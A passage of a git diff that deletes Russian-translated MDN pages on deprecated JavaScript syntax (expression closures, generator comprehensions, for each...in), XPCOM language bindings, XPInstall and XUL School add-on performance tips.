-<h2 id="Смотрите_также">Смотрите также</h2>
-
-<ul>
- <li>{{jsxref("Statements/for...of", "for...of")}}</li>
- <li>{{jsxref("Operators/Generator_comprehensions", "Сокращённые описания генераторов", "" ,1)}}</li>
-</ul>
diff --git a/files/ru/web/javascript/reference/operators/expression_closures/index.html b/files/ru/web/javascript/reference/operators/expression_closures/index.html
deleted file mode 100644
index 9c8f613699..0000000000
--- a/files/ru/web/javascript/reference/operators/expression_closures/index.html
+++ /dev/null
@@ -1,118 +0,0 @@
----
-title: Expression closures
-slug: Web/JavaScript/Reference/Operators/Expression_closures
-tags:
- - Нестандартная
- - Функции
-translation_of: Archive/Web/JavaScript/Expression_closures
----
-<div class="warning"><strong>Не является стандартом. Не используйте данный синтаксис!</strong><br>
-Синтаксис замкнутого выражения является устаревшей возможностью SpiderMonkey и <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1083458">будет удален</a>. Используйте вместо него <a href="/ru/docs/Web/JavaScript/Reference/Functions/Arrow_functions">стрелочные функции</a>.</div>
-
-<div>{{jsSidebar("Operators")}}</div>
-
-<p>Замкнутые выражения – это синтаксис для удобной записи коротких и простых функций.</p>
-
-<h2 id="Синтаксис">Синтаксис</h2>
-
-<pre class="syntaxbox">function [<em>name</em>]([<em>param1</em>[, <em>param2[</em>, ..., <em>paramN</em>]]])
- <em>expression</em>
-</pre>
-
-<h3 id="Параметры">Параметры</h3>
-
-<dl>
- <dt><code>name</code></dt>
- <dd>Имя функции. Может быть пропущено, в таком случае функция будет являться <em>анонимной</em>. Имя функции доступно только в теле функции.</dd>
- <dt><code>paramN</code></dt>
- <dd>Имя аргумента, передаваемого функции. Всего может быть передано вплоть до 255 аргументов.</dd>
- <dt><code>expression</code></dt>
- <dd>Выражение, содержащее тело функции.</dd>
-</dl>
-
-<h2 id="Описание">Описание</h2>
-
-<p>Этот функционал – ничто иное как короткая нотация для записи простых функций. Он призван добавить в язык нечто похожее на <a class="external" href="https://ru.wikipedia.org/wiki/%D0%9B%D1%8F%D0%BC%D0%B1%D0%B4%D0%B0-%D0%B8%D1%81%D1%87%D0%B8%D1%81%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5#.D0.92_.D1.8F.D0.B7.D1.8B.D0.BA.D0.B0.D1.85_.D0.BF.D1.80.D0.BE.D0.B3.D1.80.D0.B0.D0.BC.D0.BC.D0.B8.D1.80.D0.BE.D0.B2.D0.B0.D0.BD.D0.B8.D1.8F">Лямбда-исчисления</a>.</p>
-
-<p>JavaScript 1.7 и старше:</p>
-
-<pre class="brush: js">function(x) { return x * x; }</pre>
-
-<p>JavaScript 1.8:</p>
-
-<pre class="brush: js">function(x) x * x</pre>
-
-<p>Такой синтаксис позволяет отбросить фигурные скобки и оператор <code>return</code>. Данный подход, кроме краткости записи, иных преимуществ не имеет.</p>
-
-<h2 id="Примеры_использования">Примеры использования</h2>
-
-<p>Короткая запись для привязки слушателей событий:</p>
-
-<pre class="brush: js"> document.addEventListener("click", function() false, true);
-</pre>
-
-<p>Использование такой записи для работы с функциями массивов из JavaScript 1.6:</p>
-
-<pre class="brush: js">elems.some(function(elem) elem.type == "text");
-</pre>
-
-<h2 id="Таблица_совместимости">Таблица совместимости</h2>
-
-<p>{{CompatibilityTable}}</p>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Android</th>
- <th>Chrome for Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="sect1"> </h2>
-
-<h2 id="Смотрите_также">Смотрите также</h2>
-
-<ul>
- <li>{{jsxref("Functions_and_function_scope", "Функции и области видимости")}}</li>
- <li>{{jsxref("Function", "Функция")}}</li>
-</ul>
diff --git a/files/ru/web/javascript/reference/operators/generator_comprehensions/index.html b/files/ru/web/javascript/reference/operators/generator_comprehensions/index.html
deleted file mode 100644
index fb04526d8a..0000000000
--- a/files/ru/web/javascript/reference/operators/generator_comprehensions/index.html
+++ /dev/null
@@ -1,229 +0,0 @@
----
-title: Упрощенный синтаксис создания функций-генераторов
-slug: Web/JavaScript/Reference/Operators/Generator_comprehensions
-tags:
- - Итераторы
-translation_of: Archive/Web/JavaScript/Generator_comprehensions
----
-<div class="warning"><strong>Не в стандарте. Не используйте!</strong><br>
-Включения генераторов - нестандартная возможность, и вряд ли когда-либо появится в ECMAScript. В будущем попробуйте использовать {{jsxref("Statements/function*", "generator", "", 1)}}.</div>
-
-<div>{{jsSidebar("Operators")}}</div>
-
-<div>Синтаксис <strong>включений генераторов </strong>- это выражение, которое позволяет быстро создать новую функцию-генератор из существующего итератора. Включения присутствуют во множестве языков программирования.</div>
-
-<div> </div>
-
-<div><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Operators/Generator_comprehensions#Differences_to_the_older_JS1.7.2FJS1.8_comprehensions">Ниже</a> показаны отличия от старого синтаксиса генераторных выражений в SpiderMonkey, основанных на предложениях к стандарту ECMAScript 4.</div>
-
-<div> </div>
-
-<h2 id="Синтаксис">Синтаксис</h2>
-
-<pre class="syntaxbox">(for (x of iterable) x)
-(for (x of iterable) if (condition) x)
-(for (x of iterable) for (y of iterable) x + y)
-</pre>
-
-<h2 id="Описание">Описание</h2>
-
-<p>Внутри включений генераторов допустимы два типа компонентов:</p>
-
-<ul>
- <li>{{jsxref("Statements/for...of", "for...of")}} и</li>
- <li>{{jsxref("Statements/if...else", "if")}}</li>
-</ul>
-
-<p>Конструкция <code>for-of</code> всегда идёт первой. Таких конструкций может быть несколько.</p>
-
-<p>Существенный недостаток {{jsxref("Operators/Array_comprehensions","включений массивов","","true")}} - это то, что они создают полносью новый массив в памяти. Даже когда исходный массив небольшой, накладные расходы получаются весьма заметными, а уж когда входные данные - это большой массив или дорогой (или бесконечный) генератор, создание нового массива может быть трудной задачей.</p>
-
-<p>Генераторы позволяют выполнять ленивые вычисления последовательностей, то есть рассчитывать данные только тогда, когда они нужны. Синтаксисы включений генераторов и включений массивов практически аналогичны — первые используют () вместо [] — но вместо массива они создают генератор, который может выполняться лениво. Включения генераторов можно считать просто более кратким способом создания генераторов.</p>
-
-<p>Предположим, у нас есть итератор <code>it</code>, который итерирует по длинной последовательности чисел. Мы хотим создать новый итератор, который будет итерировать по тем же числам, умноженным на два. Включение массивов создало бы в памяти новый массив с умноженными числами:</p>
-
-<pre class="brush: js">var doubles = [for (i in it) i * 2];
-</pre>
-
-<p>А включение генераторов создало бы новый итератор, который высчитывал бы  следующее умноженное значение, когда оно нужно:</p>
-
-<pre class="brush: js">var it2 = (for (i in it) i * 2);
-console.log(it2.next()); // Первое значение из it, умноженное на два
-console.log(it2.next()); // Второе значение из it, умноженное на два
-</pre>
-
-<p>Когда включение генераторов передаётся как аргумент функции, можно обойтись без скобок вокруг включения:</p>
-
-<pre class="brush: js">var result = doSomething(for (i in it) i * 2);
-</pre>
-
-<p>Эти два примера отличаются тем, что используя включения генераторов, нам нужно пройтись по структуре объекта только однажды, а используя включения массивов - дважды: сначала при создании включения, затем, при самой итерации.</p>
-
-<h2 id="Примеры">Примеры</h2>
-
-<h3 id="Простое_включение_генераторов">Простое включение генераторов</h3>
-
-<pre class="brush:js">(for (i of [ 1, 2, 3 ]) i*i );
-// Функция-генератор, которая отдаёт 1, 4, 9 и так далее
-
-[...(for (i of [ 1, 2, 3 ]) i*i )];
-// [1, 4, 9]
-
-var abc = [ "A", "B", "C" ];
-(for (letters of abc) letters.toLowerCase());
-// Функция-генератор, которая отдаёт 'a', 'b' и 'c'
-</pre>
-
-<h3 id="Включение_генераторов_с_условием">Включение генераторов с условием</h3>
-
-<pre class="brush: js">var years = [ 1954, 1974, 1990, 2006, 2010, 2014 ];
-
-(for (year of years) if (year &gt; 2000) year);
-// функция-генератор, которая отдаёт 2006, 2010 и 2014
-
-(for (year of years) if (year &gt; 2000) if(year &lt; 2010) year);
-// функция-генератор, которая отдаёт 2006, как и функция ниже:
-
-(for (year of years) if (year &gt; 2000 &amp;&amp; year &lt; 2010) year);
-// функция-генератор, которая отдаёт 2006
-</pre>
-
-<h3 id="Включение_генератора_в_сравнении_с_функцией-генератором">Включение генератора в сравнении с функцией-генератором</h3>
-
-<p>Будет проще понять синтаксис включений генераторов, если сравнить его с функцией-генератором.</p>
-
-<p>Пример 1: Простой генератор.</p>
-
-<pre class="brush: js">var numbers = [ 1, 2, 3 ];
-
-// Функция-генератор
-(function*() {
- for (let i of numbers) {
- yield i * i;
- }
-})()
-
-// Включение генератора
-(for (i of numbers) i*i );
-
-// Результат: в обоих случаях получается генератор, который отдаёт [ 1, 4, 9 ]
-</pre>
-
-<p>Пример 2: Использование <code>if</code> в генераторе.</p>
-
-<pre class="brush: js">var numbers = [ 1, 2, 3 ];
-
-// Функция-генератор
-(function*() {
- for (let i of numbers) {
- if (i &lt; 3) {
- yield i * 1;
- }
- }
-})()
-
-// Включение генератора
-(for (i of numbers) if (i &lt; 3) i);
-
-// Результат: в обоих случаях получается генератор, который отдаёт [ 1, 2 ]</pre>
-
-<h2 id="Спецификации">Спецификации</h2>
-
-<p>Включения генераторов изначально входили в черновик ECMAScript 6, но их убрали в ревизии 27 (August 2014). Please see older revisions of ES6 for specification semantics.</p>
-
-<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
-
-<p>{{CompatibilityTable}}</p>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Начальная поддержка</td>
- <td>{{CompatNo}}</td>
- <td>{{ CompatGeckoDesktop("30") }}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Android</th>
- <th>Chrome for Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Начальная поддержка</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{ CompatGeckoMobile("30") }}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="Особенности_реализации_в_SpiderMonkey">Особенности реализации в SpiderMonkey</h2>
-
-<ul>
- <li>Нельзя использовать {{jsxref("Statements/let", "let")}}, потому что она доступна только в JS версии 1.7 и тэгах XUL.</li>
- <li>Деструктуризация во включениях пока не поддерживается ({{bug(980828)}}).</li>
-</ul>
-
-<h2 id="Отличия_от_старых_JS1.7JS1.8_включений">Отличия от старых JS1.7/JS1.8 включений</h2>
-
-<div class="warning">JS1.7/JS1.8 включения убраны из Gecko 46 ({{bug(1220564)}}).</div>
-
-<p><strong>Старый синтаксис включений (не используйте!):</strong></p>
-
-<pre class="brush: js example-bad">(X for (Y in Z))
-(X for each (Y in Z))
-(X for (Y of Z))
-</pre>
-
-<p>Отличия:</p>
-
-<ul>
- <li>Включения в ES7 создают отдельную область видимость для каждой итерации <code>for</code>, вместо одной области для всего включения:
-
- <ul>
- <li>Старые: <code>[...(()=&gt;x for (x of [0, 1, 2]))][1]() // 2</code></li>
- <li>Новые: <code>[...(for (x of [0, 1, 2]) ()=&gt;x)][1]() // 1, each iteration creates a fresh binding for x. </code></li>
- </ul>
- </li>
- <li>Включения в ES7 начинаются с <code>for</code> вместо выражения присваивания:
- <ul>
- <li>Старые: <code>(i * 2 for (i of numbers))</code></li>
- <li>Новые: <code>(for (i of numbers) i * 2)</code></li>
- </ul>
- </li>
- <li>Включения в ES7 могут содержать несколько <code>if</code>  и  <code>for</code>.</li>
- <li>Включения в ES7 работают только с итерациями <code>{{jsxref("Statements/for...of", "for...of")}}</code>, но не с <code>{{jsxref("Statements/for...in", "for...in")}}</code></li>
-</ul>
-
-<h2 id="См._также">См. также</h2>
-
-<ul>
- <li>{{jsxref("Statements/for...of", "for...of")}}</li>
- <li>{{jsxref("Operators/Array_comprehensions", "Array comprehensions")}}</li>
-</ul>
diff --git a/files/ru/web/javascript/reference/statements/for_each...in/index.html b/files/ru/web/javascript/reference/statements/for_each...in/index.html
deleted file mode 100644
index c609f436c0..0000000000
--- a/files/ru/web/javascript/reference/statements/for_each...in/index.html
+++ /dev/null
@@ -1,126 +0,0 @@
----
-title: for each...in
-slug: Web/JavaScript/Reference/Statements/for_each...in
-translation_of: Archive/Web/JavaScript/for_each...in
----
-<div>{{jsSidebar("Statements")}}</div>
-
-<div class="warning">
-<p>Конструкция <code>for each...in</code> заявлена как "deprecated", как часть стандарта ECMA-357 (<a href="/en-US/docs/Archive/Web/E4X" title="/en-US/docs/E4X">E4X</a>). Поддержка E4X была удалена. Вместо <code>for each...in</code> рассмотрите использование <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a>. (Пожалуйста обратите внимание: {{ bug("791343")}}.)<br>
- <br>
- <strong>Firefox теперь предупреждает об использовании <code>for each...in</code> и <code>for each...in</code> удаляется из ночных сборок. Пожалуйста, посмотрите <a href="/en-US/docs/Web/JavaScript/Reference/Errors/For-each-in_loops_are_deprecated">Warning: JavaScript 1.6's for-each-in loops are deprecated</a> для помощи в миграции.</strong></p>
-</div>
-
-<p><strong>Выражение</strong> <code><strong>for each...in</strong></code> выполняет перебор свойств указанного объекта. Для каждого свойства выполняется указанный оператор.</p>
-
-<h2 id="Синтаксис">Синтаксис</h2>
-
-<pre class="syntaxbox">for each (<em>variable</em> in <em>object</em>) {
- <em>statement</em>
-}</pre>
-
-<dl>
- <dt><code>variable</code></dt>
- <dd>Variable to iterate over property values, optionally declared with the <code>var</code> keyword. This variable is local to the function, not to the loop.</dd>
-</dl>
-
-<dl>
- <dt><code>object</code></dt>
- <dd>Object for which the properties are iterated.</dd>
-</dl>
-
-<dl>
- <dt><code>statement</code></dt>
- <dd>A statement to execute for each property. To execute multiple statements within the loop, use a <a href="/en-US/docs/Web/JavaScript/Reference/Statements/block">block</a> statement (<code>{ ... }</code>) to group those statements.</dd>
-</dl>
-
-<h2 id="Description">Description</h2>
-
-<p>Some built-in properties are not iterated over. These include all built-in methods of objects, e.g. <code>String</code>'s <code>indexOf</code> method. However, all user-defined properties are iterated over.</p>
-
-<h2 id="Examples">Examples</h2>
-
-<h3 id="Using_for_each...in">Using <code>for each...in</code></h3>
-
-<p><strong>Warning:</strong> Never use a loop like this on arrays. Only use it on objects. See <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in"><code>for...in</code></a> for more details.</p>
-
-<p>The following snippet iterates over an object's properties, calculating their sum:</p>
-
-<pre class="brush:js">var sum = 0;
-var obj = {prop1: 5, prop2: 13, prop3: 8};
-
-for each (var item in obj) {
- sum += item;
-}
-
-console.log(sum); // logs "26", which is 5+13+8</pre>
-
-<h2 id="Specifications">Specifications</h2>
-
-<p>Not part of a current ECMA-262 specification. Implemented in JavaScript 1.6 and deprecated.</p>
-
-<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
-
-<p>{{CompatibilityTable}}</p>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatGeckoDesktop("1.8")}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Android</th>
- <th>Chrome for Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatGeckoMobile("1.0")}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="Firefox_specific_note">Firefox specific note</h2>
-
-<ul>
- <li><code>for each...in</code> удалён только из Nightly Firefox 53</li>
-</ul>
-
-<h2 id="Смотрите_также">Смотрите также</h2>
-
-<ul>
- <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a></code> - аналогичный оператор по перебору <em>имён</em> свойств.</li>
- <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code> - аналогичный оператор, перебирающий <em>значения</em> свойств, но может быть использован только для перебираемых (iteratable) типов, so not for generic objects</li>
- <li><code><a href="/en-US/docs/JavaScript/Reference/Statements/for">for</a></code></li>
-</ul>
diff --git a/files/ru/xpcom/language_bindings/index.html b/files/ru/xpcom/language_bindings/index.html
deleted file mode 100644
index c32b690313..0000000000
--- a/files/ru/xpcom/language_bindings/index.html
+++ /dev/null
@@ -1,35 +0,0 @@
----
-title: Языковые Связки
-slug: XPCOM/Language_Bindings
-tags:
- - Java
- - JavaScript
- - Language_Bindings
- - Perl
- - Python
- - Ruby
- - XPCOM
- - 'XPCOM:Language Bindings'
-translation_of: Mozilla/Tech/XPCOM/Language_Bindings
----
-<p><strong>XPCOM Язык Связка</strong> является мостом между определенным языком и <a class="internal" href="/ru/XPCOM" title="ru/XPCOM">XPCOM</a> для достижение следующих двух целей: </p>
-<ul>
- <li>
- <p>Разрешить <em>доступ к <u>XPCOM объектам</u> в рамках этого языка</em> (там, где доступ означает чтение/запись/создание <u>XPCOM объектов</u>, а также вызова методов на них). </p>
- </li>
- <li>
- <p>Сделать доступными <em>модули, написанные на различных языках, как к </em><u><em>XPCOM объектам</em></u>, тем самым позволив всем другим языкам, для которых существуют <u>XPCOM связки,</u> получить доступ к этим модулям.</p>
- </li>
-</ul>
-<p><br>
- Поскольку <u>XPCOM </u><u>слой</u> написан на C/C++, его API могут быть доступны в родном режиме используя C или C++. Для всех остальных языков для получения возможности доступа к <u>XPCOM API</u>, необходима дополнительная связка слоев. <br>
- <br>
- Существуют следующие связки слоев для языков: </p>
-<ul>
- <li><strong>JavaScript</strong>: <a class="internal" href="/en/XPConnect" title="en/XPConnect">XPConnect</a> (входит в состав Firefox и активно используется в XUL приложений)</li>
- <li><strong>Java</strong>: <a class="internal" href="/en/JavaXPCOM" title="en/JavaXPCOM">JavaXPCOM</a> (не входит в Firefox, но по умолчанию включена в XULRunner сборку и используется в некоторых приложениях Eclipse) </li>
- <li><strong>Python</strong>: <a class="internal" href="/en/PyXPCOM" title="en/PyXPCOM">PyXPCOM</a> (не является частью стандартной сборки, но активно используется в продуктах ActiveState Komodo) </li>
- <li><strong>Perl</strong>: <a class="internal" href="/en/PlXPCOM" title="en/PlXPCOM">PlXPCOM</a></li>
- <li><strong>Ruby</strong>: <a class="internal" href="/en/RbXPCOM" title="en/RbXPCOM">RbXPCOM</a></li>
-</ul>
-<p>Пожалуйста руководствуйтесь страницами соответствующих связок если Вы нуждаетесь в информации о том как этим пользоваться.</p>
diff --git a/files/ru/xpinstall/index.html b/files/ru/xpinstall/index.html
deleted file mode 100644
index 6aafe0a7a4..0000000000
--- a/files/ru/xpinstall/index.html
+++ /dev/null
@@ -1,60 +0,0 @@
----
-title: XPInstall
-slug: XPInstall
-tags:
- - XPInstall
- - XPInstall_API_reference
-translation_of: Archive/Mozilla/XPInstall
----
-<div class="warning">
- Часть этой страницы описывает использование<span class="lang lang-en"> <a href="../../../../en/XPInstall_API_Reference" rel="internal">XPInstall API</a>. Большинство из этих API в настоящее время устарели и по состоянию на Gecko 1.9 больше не доступны. <a href="../../../../en/Extensions" rel="internal">Расширения</a>, <a href="../../../../en/Themes" rel="internal">темы</a>, и <a href="../../../../en/Plugins" rel="internal">плагины</a> разработчики должны перейти от пакетов основанных на<code> install.js</code> к новым <a href="../../../../en/Bundles" rel="internal">пакетным схемам</a> с <code><a href="../../../../en/Install.rdf" rel="internal">install.rdf</a></code> манифест. В частности разработчик плагина должен посмотреть <a href="../../../../en/Shipping_a_plugin_as_an_extension" rel="internal">как упаковать плагин как расширение</a> </span></div>
-<div>
- <strong>Кросс-платформенная установка (XPInstall)</strong> это технология используемая Mozilla Application Suite, Mozilla Firefox, Mozilla Thunderbird и другими приложениями на базе <a href="/en/XUL" title="en/XUL">XUL</a> для установки <a href="/en/Extensions" title="en/Extensions">расширений</a>. <a href="/en/XPI" title="en/XPI">XPI</a> (произносится "зиппи" и происходит от XPInstall) модуль установщика это ZIP файл который содержит инсталляционый скрипт или манифест (названный install.js или <a href="/en/Install_Manifests" title="en/Install_Manifests">install.rdf</a>) в корне зип файла.</div>
-<table class="topicpage-table">
- <tbody>
- <tr>
- <td>
- <h4 id="Documentation" name="Documentation"><a href="/Special:Tags?tag=XPInstall&amp;language=en" title="Special:Tags?tag=XPInstall&amp;language=en">Документация</a></h4>
- <dl>
- <dt>
- <a href="/en/XPInstall_API_Reference" title="en/XPInstall_API_Reference">руководство по </a><a href="/en/XPInstall_API_Reference" title="en/XPInstall_API_Reference">XPInstall API</a></dt>
- </dl>
- <dl>
- <dt>
- <a href="/en/Learn_XPI_Installer_Scripting_by_Example" title="en/Learn_XPI_Installer_Scripting_by_Example">Обучение XPI Installer Scripting </a><a href="/en/Learn_XPI_Installer_Scripting_by_Example" title="en/Learn_XPI_Installer_Scripting_by_Example">на примере</a></dt>
- <dd>
- <small>Эта статья использует installer script из <code>browser.xpi</code> инсталляционного пакета как базу для обсуждения XPI установки в общих четрах.</small></dd>
- </dl>
- <dl>
- <dt>
- <a href="/en/Creating_XPI_Installer_Modules" title="en/Creating_XPI_Installer_Modules">Создание XPI Installer Modules</a></dt>
- <dd>
- <small>Эта статья описывает схему упаковки Mozilla и предлагает учебное пособие по созданию нового пакета который может быть перераспределен, установлен, и cсделать доступеным для пользователей.</small></dd>
- </dl>
- <dl>
- <dt>
- <a href="/en/Install_Wizards_(aka:_Stub_Installers)" title="en/Install_Wizards_(aka:_Stub_Installers)">Мастера установки (aka: Stub Installers)</a></dt>
- </dl>
- <p><span class="alllinks"><a href="/Special:Tags?tag=XPInstall&amp;language=en" title="Special:Tags?tag=XPInstall&amp;language=en">смотреть всё...</a></span></p>
- </td>
- <td>
- <h4 id="Community" name="Community">Сообщество</h4>
- <ul>
- <li>Смотри Mozilla форумы...</li>
- </ul>
- <p>{{ DiscussionList("dev-platform", "mozilla.dev.platform") }}</p>
- <h4 id="Tools" name="Tools">Инструменты</h4>
- <ul>
- <li><a class="external" href="http://www.mozilla.org/quality/smartupdate/xpinstall-trigger.html">XPInstall триггер страница</a></li>
- </ul>
- <h4 id="Related_Topics" name="Related_Topics">Похожие темы</h4>
- <dl>
- <dd>
- <a href="/en/Extensions" title="en/Extensions">Extensions</a>, <a href="/en/XUL" title="en/XUL">XUL</a>, <a href="/en/XPI" title="en/XPI">XPI</a></dd>
- </dl>
- </td>
- </tr>
- </tbody>
-</table>
-<p><span class="comment">Categories</span></p>
-<p><span class="comment">Interwiki Language Links</span></p>
diff --git a/files/ru/xul_school/appendix_a_colon__add-on_performance/index.html b/files/ru/xul_school/appendix_a_colon__add-on_performance/index.html
deleted file mode 100644
index 1364929357..0000000000
--- a/files/ru/xul_school/appendix_a_colon__add-on_performance/index.html
+++ /dev/null
@@ -1,43 +0,0 @@
----
-title: 'Приложение A: Производительность дополнений'
-slug: 'XUL_School/Appendix_A:_Add-on_Performance'
-tags:
- - Дополнения
- - Производительность
- - Расширения
-translation_of: 'Archive/Add-ons/Overlay_Extensions/XUL_School/Appendix_A:_Add-on_Performance'
----
-<div class="note">
- <strong>Внимание:</strong> Смотрите новую статью <a href="/en/Extensions/Performance_best_practices_in_extensions" title="en/Extensions/Performance best practices in extensions">Performance best practices in extensions</a> для получения более свежей информации по оптимизации производительности ваших дополнений.</div>
-<p>Add-ons can have a noticeable performance impact on Firefox. This is evident when opening a Firefox profile that has many add-ons installed; some profiles can take minutes to load, which is a serious inconvenience for users that gives them a negative view of Firefox. Add-on developers need to make sure that they minimize their add-ons' performance impact, and here are a few simple guidelines that should be followed to achieve that.</p>
-<h2 id="Запуск">Запуск</h2>
-<p>This is the area where add-ons have the most noticeable impact. Most add-ons use the load event handler in the main overlay to initialize their objects and sometimes read files or even fetch remote data. The problem with the <em>onload</em> event is that it runs before the main window becomes visible, so all handlers need to complete before the user can see the window. An add-on can normally add a few hundred milliseconds to startup time because of the load handler, and it's not hard to figure out what having several add-ons will do.</p>
-<p>Luckily, minimizing your startup time is easy, if you follow these guidelines:</p>
-<ol>
- <li>Do not load or run code before it’s needed. Add-ons can have extra features that are only available depending on user preferences. Other add-ons have most of their features depend on a user being logged in to a service. Don’t load at startup something you won’t need at the time.</li>
- <li><a href="/../../../../en/Using_JavaScript_code_modules" title="../../../../en/Using_JavaScript_code_modules">JavaScript Code Modules</a>. Use them. JSM provide the cleanest way to separate JS into modules that can be loaded on request, unlike chrome scripts which are generally loaded with the overlay at startup. Keep as much of your code in JSM, make it as modular as you can, and only load modules as you require them. If your add-on is too simple for JSM, don’t worry about it. There’s still one more thing you can do.</li>
- <li>Do as little as possible in your load handler. Ask yourself: is there anything I can’t run 100 ms or even 500 ms later? If there is, just use an <a href="/../../../../En/nsITimer" title="../../../../En/nsITimer">nsITimer</a> or the <a href="/../../../../en/DOM/window.setTimeout" title="../../../../en/DOM/window.setTimeout">setTimeout</a> function to delay running this code . The Firefox window will be able to load sooner and your startup code will run almost instantaneously afterward, in parallel with the loading of the homepage or the saved tab session. The browser will now load faster, and your code will still load at startup for all practical purposes. The code is simple enough:</li>
-</ol>
-<pre class="brush: js">// this is the function that is called in the load event handler.
-init : function() {
-  let that = this;
-  // run this later and let the window load.
-  window.setTimeout(function() { that.postInit(); }, 500);
-},
-
-postInit: function() {
-  // actual init code goes here.
-},
-</pre>
-<p>How can you tell it works? The <a class="link-https" href="https://wiki.mozilla.org/Firefox/Projects/StartupPerformance/MeasuringStartup" title="https://wiki.mozilla.org/Firefox/Projects/StartupPerformance/MeasuringStartup">Measuring Startup</a> wiki page includes a relatively simple test you can use to compare a clean Firefox profile vs that profile with your add-on installed.</p>
-<h2 id="Загрузка_страницы">Загрузка страницы</h2>
-<p>This is another critical route that many add-ons tap into. The <a href="/en/XUL_School/Intercepting_Page_Loads" title="en/XUL School/Intercepting Page Loads">Intercepting Page Loads</a> section details several techniques to do this, and you should read all of them carefully to figure out which one you need. Some of these events are fired multiple times during a single page load, and having inefficient code in the event handlers can cause a noticeable delay that users may have hard time figuring out.</p>
-<p>Look at the source samples in the article and notice how they mostly consist of nested <em>if</em> statements. This is what you should do <strong>first</strong> to make sure that you filter out all cases that don't interest you so that your add-on doesn't slow down other requests. A very common filter is the URL of the page, since most add-ons are limited to one or a few domains. Use regular expressions if you need to. Make sure your comparison code is as efficient as possible.</p>
-<p>Finally, make sure all of your page load code is as efficient as possible. This can be tricky for some add-ons, like ad or script blockers that need to check a whitelist or blacklist. Nevertheless, loading pages is pretty important in Firefox, and users expect it to be fast. Try your best to keep it that way.</p>
-<h2 id="Другие_рекомендации">Другие рекомендации</h2>
-<ul>
- <li>Always clean up after yourself. Event listeners, observers and other handlers normally have both an add and a remove function. Don't forget to remove what you don't need anymore! Even if you need something during the whole existence of the window, you should clean everything up in the unload event handler.</li>
- <li>Even the unload event should be handled efficiently. Even if it is not as important as other areas, Firefox shutdown can also be slowed down because of add-ons. If there's anything you can unload before shutdown, or if there's anything you can do to unload things more efficiently, then it's important that you do.</li>
- <li><strong>Никогда</strong> не используйте XMLHttpRequest в синхронном режиме.</li>
- <li>If your add-on needs to perform a heavy operation like sorting or a complex mathematical calculation, you should use <a href="/En/Using_web_workers" title="En/Using web workers">DOM Workers</a> to offload the work to other threads.</li>
-</ul>
diff --git a/files/ru/xul_school/getting_started_with_firefox_extensions/index.html b/files/ru/xul_school/getting_started_with_firefox_extensions/index.html
deleted file mode 100644
index 2d436a73b9..0000000000
--- a/files/ru/xul_school/getting_started_with_firefox_extensions/index.html
+++ /dev/null
@@ -1,107 +0,0 @@
----
-title: Приступая к работе с расширениями Firefox.
-slug: XUL_School/Getting_Started_with_Firefox_Extensions
-translation_of: >-
- Archive/Add-ons/Overlay_Extensions/XUL_School/Getting_Started_with_Firefox_Extensions
----
-<p>{{ PreviousNext("XUL_School/Introduction", "XUL_School/The_Essentials_of_an_Extension") }}</p>
-
-<h2 id="Что_такое_расширение_Firefox">Что такое расширение Firefox?</h2>
-
-<blockquote>
